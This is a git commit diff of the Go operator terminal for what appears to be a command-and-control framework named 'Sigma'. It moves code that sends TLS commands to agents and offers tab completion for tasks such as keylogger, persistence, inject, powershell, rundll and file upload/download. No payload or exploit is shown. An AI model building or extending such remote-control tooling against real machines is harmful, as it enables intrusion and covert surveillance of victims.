Restructured operator's terminal code and added channel to gracefully close terminal on "exit|quit" command and Ctrl+C
This commit is contained in:
Pavlo Khazov
@@ -5,11 +5,8 @@ import (
|
||||
"crypto/x509"
|
||||
"flag"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"os"
|
||||
"slices"
|
||||
"strings"
|
||||
|
||||
"github.com/chzyer/readline"
|
||||
)
|
||||
@@ -22,223 +19,6 @@ var clientCertPath = "certificates/client.crt"
|
||||
var clientKeyPath = "certificates/client.key"
|
||||
var caCertPath = "certificates/ca.crt"
|
||||
|
||||
// Available commands fpr tab completion in main context
|
||||
var availableClobalCommands = []struct {
|
||||
command string
|
||||
subcommands map[string][]string
|
||||
}{
|
||||
{"agents", nil},
|
||||
{"show", map[string][]string{
|
||||
"agent": {""}, // Updated dynamically
|
||||
"tasks": {""}, // Updated dynamically
|
||||
"listeners": nil,
|
||||
}},
|
||||
{"clear", map[string][]string{
|
||||
"tasks": {""}, // Updated dynamically
|
||||
}},
|
||||
{"listen", map[string][]string{
|
||||
"-t": {"ssl", "tcp", "dns"},
|
||||
"--transport": {"ssl", "tcp", "dns"},
|
||||
"-h": {""},
|
||||
"--host": {""},
|
||||
"-p": {""},
|
||||
"--port": {""},
|
||||
"-n": {""},
|
||||
"--name": {""},
|
||||
}},
|
||||
{"modules", nil},
|
||||
{"stop", map[string][]string{
|
||||
"listener": {""}, // Updated dynamically
|
||||
}},
|
||||
{"generate", map[string][]string{
|
||||
"agent": {""}, // Updated dynamically
|
||||
"beacon": {""}, // Updated dynamically
|
||||
}},
|
||||
{"interact", map[string][]string{
|
||||
"": {""}, // Updated dynamically
|
||||
}},
|
||||
{"exit", nil},
|
||||
{"quit", nil},
|
||||
}
|
||||
|
||||
// Available commands fpr tab completion in agent context
|
||||
var availableContextCommands = []struct {
|
||||
command string
|
||||
subcommands map[string][]string
|
||||
}{
|
||||
{"agents", nil},
|
||||
{"show", map[string][]string{
|
||||
"agent": {""}, // Updated dynamically
|
||||
"tasks": {""}, // Updated dynamically
|
||||
}},
|
||||
{"clear", map[string][]string{
|
||||
"tasks": {""}, // Updated dynamically
|
||||
}},
|
||||
{"modules", nil},
|
||||
{"sleep", map[string][]string{"": {""}}},
|
||||
{"cmd", map[string][]string{"": {""}}},
|
||||
{"powershell", map[string][]string{"": {""}}},
|
||||
{"runexe", map[string][]string{"": {""}}},
|
||||
{"rundll", map[string][]string{"": {""}}},
|
||||
{"sysinfo", map[string][]string{"": {""}}},
|
||||
{"files", map[string][]string{"": {""}}},
|
||||
{"artifacts", map[string][]string{"": {""}}},
|
||||
{"cd", map[string][]string{"": {""}}},
|
||||
{"ls", map[string][]string{"": {""}}},
|
||||
{"pwd", map[string][]string{"": {""}}},
|
||||
{"dir", map[string][]string{"": {""}}},
|
||||
{"inject", map[string][]string{"": {""}}},
|
||||
{"spawn", map[string][]string{"": {""}}},
|
||||
{"keylogger", map[string][]string{
|
||||
"start": {""},
|
||||
"stop": {""},
|
||||
}},
|
||||
{"persistence", map[string][]string{
|
||||
"add": {""},
|
||||
"remove": {""},
|
||||
}},
|
||||
{"download", map[string][]string{"": {""}}},
|
||||
{"upload", map[string][]string{"": {""}}},
|
||||
{"proxy", map[string][]string{
|
||||
"start": {""},
|
||||
"stop": {""},
|
||||
}},
|
||||
{"kill", map[string][]string{"": {""}}},
|
||||
{"cleanup", map[string][]string{"": {""}}},
|
||||
}
|
||||
|
||||
// Commands which agentID is appended to
|
||||
var contextCommands = []string{
|
||||
"sleep", "cmd", "powershell", "runexe", "rundll", "sysinfo", "files", "keylogger",
|
||||
"persistence", "download", "upload", "artifacts", "kill", "cleanup",
|
||||
"exit", "cd", "ls", "pwd", "dir", "proxy", "ps", "inject", "spawn",
|
||||
}
|
||||
|
||||
// To store list of agents for tab completion
|
||||
var agents []string
|
||||
|
||||
// Empty when in main context
|
||||
var currentAgentContext string
|
||||
|
||||
// Update available listener names for "generate agent" and "generate beacon" and for "stop listeners"
|
||||
func UpdateListenersSubCommands(listeners []string) {
|
||||
for i := range availableClobalCommands {
|
||||
switch availableClobalCommands[i].command {
|
||||
case "generate":
|
||||
availableClobalCommands[i].subcommands["agent"] = listeners
|
||||
availableClobalCommands[i].subcommands["beacon"] = listeners
|
||||
case "stop":
|
||||
availableClobalCommands[i].subcommands["listener"] = listeners
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Update available commands to auto-complete agent names
|
||||
func UpdateAgentsSubCommands(agentList []string) {
|
||||
agents = agentList
|
||||
for i := range availableClobalCommands {
|
||||
switch availableClobalCommands[i].command {
|
||||
case "show":
|
||||
availableClobalCommands[i].subcommands["agent"] = agentList
|
||||
availableClobalCommands[i].subcommands["tasks"] = agentList
|
||||
case "clear":
|
||||
availableClobalCommands[i].subcommands["tasks"] = agentList
|
||||
case "interact":
|
||||
availableClobalCommands[i].subcommands[""] = agentList
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Build tab completer
|
||||
func getCompleter() *readline.PrefixCompleter {
|
||||
var items []readline.PrefixCompleterInterface
|
||||
|
||||
if currentAgentContext != "" {
|
||||
// Agent context: include context commands, exit, and interact
|
||||
for _, cmd := range availableContextCommands {
|
||||
if cmd.subcommands != nil {
|
||||
var subItems []readline.PrefixCompleterInterface
|
||||
for sub, subsub := range cmd.subcommands {
|
||||
if sub == "" {
|
||||
for _, s := range subsub {
|
||||
subItems = append(subItems, readline.PcItem(s))
|
||||
}
|
||||
} else {
|
||||
nestedItems := make([]readline.PrefixCompleterInterface, len(subsub))
|
||||
for i, subsubCmd := range subsub {
|
||||
nestedItems[i] = readline.PcItem(subsubCmd)
|
||||
}
|
||||
subItems = append(subItems, readline.PcItem(sub, nestedItems...))
|
||||
}
|
||||
}
|
||||
items = append(items, readline.PcItem(cmd.command, subItems...))
|
||||
} else {
|
||||
items = append(items, readline.PcItem(cmd.command))
|
||||
}
|
||||
}
|
||||
// Add exit and interact explicitly
|
||||
items = append(items, readline.PcItem("exit"))
|
||||
var interactSubItems []readline.PrefixCompleterInterface
|
||||
for _, agent := range agents {
|
||||
interactSubItems = append(interactSubItems, readline.PcItem(agent))
|
||||
}
|
||||
items = append(items, readline.PcItem("interact", interactSubItems...))
|
||||
} else {
|
||||
// Main context: include global commands and agent IDs with context commands
|
||||
// Add global commands
|
||||
for _, cmd := range availableClobalCommands {
|
||||
if cmd.subcommands != nil {
|
||||
var subItems []readline.PrefixCompleterInterface
|
||||
for sub, subsub := range cmd.subcommands {
|
||||
if sub == "" {
|
||||
for _, s := range subsub {
|
||||
subItems = append(subItems, readline.PcItem(s))
|
||||
}
|
||||
} else {
|
||||
nestedItems := make([]readline.PrefixCompleterInterface, len(subsub))
|
||||
for i, subsubCmd := range subsub {
|
||||
nestedItems[i] = readline.PcItem(subsubCmd)
|
||||
}
|
||||
subItems = append(subItems, readline.PcItem(sub, nestedItems...))
|
||||
}
|
||||
}
|
||||
items = append(items, readline.PcItem(cmd.command, subItems...))
|
||||
} else {
|
||||
items = append(items, readline.PcItem(cmd.command))
|
||||
}
|
||||
}
|
||||
|
||||
// Add agent IDs with context commands as subcommands
|
||||
for _, agent := range agents {
|
||||
var agentSubItems []readline.PrefixCompleterInterface
|
||||
for _, cmd := range availableContextCommands {
|
||||
if cmd.subcommands != nil {
|
||||
var subItems []readline.PrefixCompleterInterface
|
||||
for sub, subsub := range cmd.subcommands {
|
||||
if sub == "" {
|
||||
for _, s := range subsub {
|
||||
subItems = append(subItems, readline.PcItem(s))
|
||||
}
|
||||
} else {
|
||||
nestedItems := make([]readline.PrefixCompleterInterface, len(subsub))
|
||||
for i, subsubCmd := range subsub {
|
||||
nestedItems[i] = readline.PcItem(subsubCmd)
|
||||
}
|
||||
subItems = append(subItems, readline.PcItem(sub, nestedItems...))
|
||||
}
|
||||
}
|
||||
agentSubItems = append(agentSubItems, readline.PcItem(cmd.command, subItems...))
|
||||
} else {
|
||||
agentSubItems = append(agentSubItems, readline.PcItem(cmd.command))
|
||||
}
|
||||
}
|
||||
items = append(items, readline.PcItem(agent, agentSubItems...))
|
||||
}
|
||||
}
|
||||
|
||||
return readline.NewPrefixCompleter(items...)
|
||||
}
|
||||
|
||||
// Configure readline interface
|
||||
func setupReadline() (*readline.Instance, error) {
|
||||
rlConfig := &readline.Config{
|
||||
@@ -260,202 +40,6 @@ func setupReadline() (*readline.Instance, error) {
|
||||
return rl, nil
|
||||
}
|
||||
|
||||
// Goroutine to listen for server messages
|
||||
func startServerListener(conn *tls.Conn, rl *readline.Instance, exitChan chan struct{}) {
|
||||
go func() {
|
||||
for {
|
||||
serverMsg := make([]byte, 4096)
|
||||
n, err := conn.Read(serverMsg)
|
||||
if err != nil {
|
||||
fmt.Println("Connection to server lost:", err)
|
||||
close(exitChan)
|
||||
return
|
||||
}
|
||||
|
||||
// Parse the server message
|
||||
message := string(serverMsg[:n])
|
||||
handleServerMessage(message, rl)
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
// Processes messages received from the server
|
||||
func handleServerMessage(message string, rl *readline.Instance) {
|
||||
// Tab-completion update with listeners
|
||||
if strings.HasPrefix(message, "LISTENERS_UPDATE:") {
|
||||
// Extract the listener names from the message
|
||||
listeners := strings.Split(strings.TrimPrefix(message, "LISTENERS_UPDATE:"), ",")
|
||||
|
||||
// Update subcommands
|
||||
UpdateListenersSubCommands(listeners)
|
||||
|
||||
// Rebuild the tab completion
|
||||
rl.Config.AutoComplete = getCompleter()
|
||||
rl.Refresh()
|
||||
|
||||
// Tab-completion update with new agents
|
||||
} else if strings.HasPrefix(message, "AGENTS_UPDATE:") {
|
||||
// Extract the agent names from the message
|
||||
agents = strings.Split(strings.TrimPrefix(message, "AGENTS_UPDATE:"), ",")
|
||||
|
||||
// Update subcommands
|
||||
UpdateAgentsSubCommands(agents)
|
||||
|
||||
// Rebuild the tab completion
|
||||
rl.Config.AutoComplete = getCompleter()
|
||||
rl.Refresh()
|
||||
|
||||
// Handle usual messages
|
||||
} else if strings.HasPrefix(message, "TASK_RESULT:") {
|
||||
substr, _ := strings.CutPrefix(message, "TASK_RESULT:")
|
||||
// Use readline's Stdout() method to get the writer and write to it
|
||||
rl.Stdout().Write([]byte("[+]" + substr + "\n"))
|
||||
} else {
|
||||
// Use readline's Stdout() method to get the writer and write to it
|
||||
rl.Stdout().Write([]byte(message + "\n"))
|
||||
}
|
||||
}
|
||||
|
||||
// Handles operator commands and context switching
|
||||
func processOperatorCommand(command string, conn *tls.Conn, rl *readline.Instance) bool {
|
||||
if command == "" {
|
||||
return false
|
||||
}
|
||||
|
||||
// Handle exit command
|
||||
if command == "exit" {
|
||||
// Exit from agent context
|
||||
if currentAgentContext != "" {
|
||||
currentAgentContext = ""
|
||||
rl.SetPrompt("\033[31mSigma >\033[0m ")
|
||||
|
||||
// Update tab completion after context change
|
||||
rl.Config.AutoComplete = getCompleter()
|
||||
return false
|
||||
} else {
|
||||
// Exit from application
|
||||
fmt.Println("Exiting...")
|
||||
conn.Write([]byte(command))
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
// Exit from application and disregard context
|
||||
if command == "quit" {
|
||||
fmt.Println("Exiting...")
|
||||
conn.Write([]byte("exit"))
|
||||
return true
|
||||
}
|
||||
|
||||
// Handle interact command
|
||||
if strings.HasPrefix(command, "interact") {
|
||||
handleInteractCommand(command, rl)
|
||||
return false
|
||||
}
|
||||
|
||||
// Handle command in agent context
|
||||
if currentAgentContext != "" && isControlCommand(command) {
|
||||
command = currentAgentContext + " " + command
|
||||
}
|
||||
|
||||
// Send command to server
|
||||
_, err := conn.Write([]byte(command))
|
||||
if err != nil {
|
||||
fmt.Printf("Error sending command: %v", err)
|
||||
return true
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
// Check if command is a task for agent
|
||||
func isControlCommand(command string) bool {
|
||||
// Split the command into words
|
||||
parts := strings.Fields(command)
|
||||
if len(parts) == 0 {
|
||||
fmt.Println("Empty command :(")
|
||||
return false
|
||||
}
|
||||
|
||||
// Check if the first word is a context command
|
||||
if slices.Contains(contextCommands, parts[0]) {
|
||||
return true
|
||||
} else {
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
// Processes the interact command for agent context switching
|
||||
func handleInteractCommand(command string, rl *readline.Instance) {
|
||||
cmd := strings.Fields(command)
|
||||
|
||||
if len(cmd) != 2 {
|
||||
fmt.Println("Usage: interact <agent_id>")
|
||||
return
|
||||
}
|
||||
|
||||
if !slices.Contains(agents, cmd[1]) {
|
||||
fmt.Println("Agent not found!")
|
||||
return
|
||||
}
|
||||
|
||||
// Set new agent context
|
||||
currentAgentContext = cmd[1]
|
||||
|
||||
// Update tab completion
|
||||
rl.Config.AutoComplete = getCompleter()
|
||||
|
||||
// Update prompt with agent context
|
||||
newPrompt := fmt.Sprintf("\033[31mSigma [%s] >\033[0m ", currentAgentContext)
|
||||
rl.SetPrompt(newPrompt)
|
||||
}
|
||||
|
||||
// Executes the main command processing loop
|
||||
func runCommandLoop(conn *tls.Conn, rl *readline.Instance, exitChan chan struct{}) {
|
||||
for {
|
||||
select {
|
||||
case <-exitChan:
|
||||
fmt.Println("Exiting due to lost connection.")
|
||||
return
|
||||
default:
|
||||
line, err := rl.Readline()
|
||||
if err != nil {
|
||||
if err == readline.ErrInterrupt {
|
||||
if len(line) == 0 {
|
||||
fmt.Println("\nExiting...")
|
||||
return
|
||||
}
|
||||
continue
|
||||
} else if err == io.EOF {
|
||||
fmt.Println("\nExiting...")
|
||||
return
|
||||
}
|
||||
fmt.Printf("Error reading line: %v", err)
|
||||
continue
|
||||
}
|
||||
|
||||
command := strings.TrimSpace(line)
|
||||
|
||||
// Print the command to terminal history before processing
|
||||
if command != "" {
|
||||
// Construct the prompt based on current context
|
||||
var currentPrompt string
|
||||
if currentAgentContext != "" {
|
||||
currentPrompt = fmt.Sprintf("\033[31mSigma [%s] >\033[0m ", currentAgentContext)
|
||||
} else {
|
||||
currentPrompt = "\033[31mSigma >\033[0m "
|
||||
}
|
||||
rl.Stdout().Write([]byte(currentPrompt + command + "\n"))
|
||||
}
|
||||
|
||||
shouldExit := processOperatorCommand(command, conn, rl)
|
||||
if shouldExit {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Prepares the TLS configuration for secure connection
|
||||
func setupTLSConfig() (*tls.Config, error) {
|
||||
// Load CA certificate
|
||||
@@ -563,10 +147,11 @@ func main() {
|
||||
|
||||
// Create exit channel
|
||||
exitChan := make(chan struct{})
|
||||
doneChan := make(chan struct{}) // new: signals graceful exit
|
||||
|
||||
// Start server message listener
|
||||
startServerListener(conn, rl, exitChan)
|
||||
startServerListener(conn, rl, exitChan, doneChan)
|
||||
|
||||
// Run main command loop
|
||||
runCommandLoop(conn, rl, exitChan)
|
||||
runCommandLoop(conn, rl, exitChan, doneChan)
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user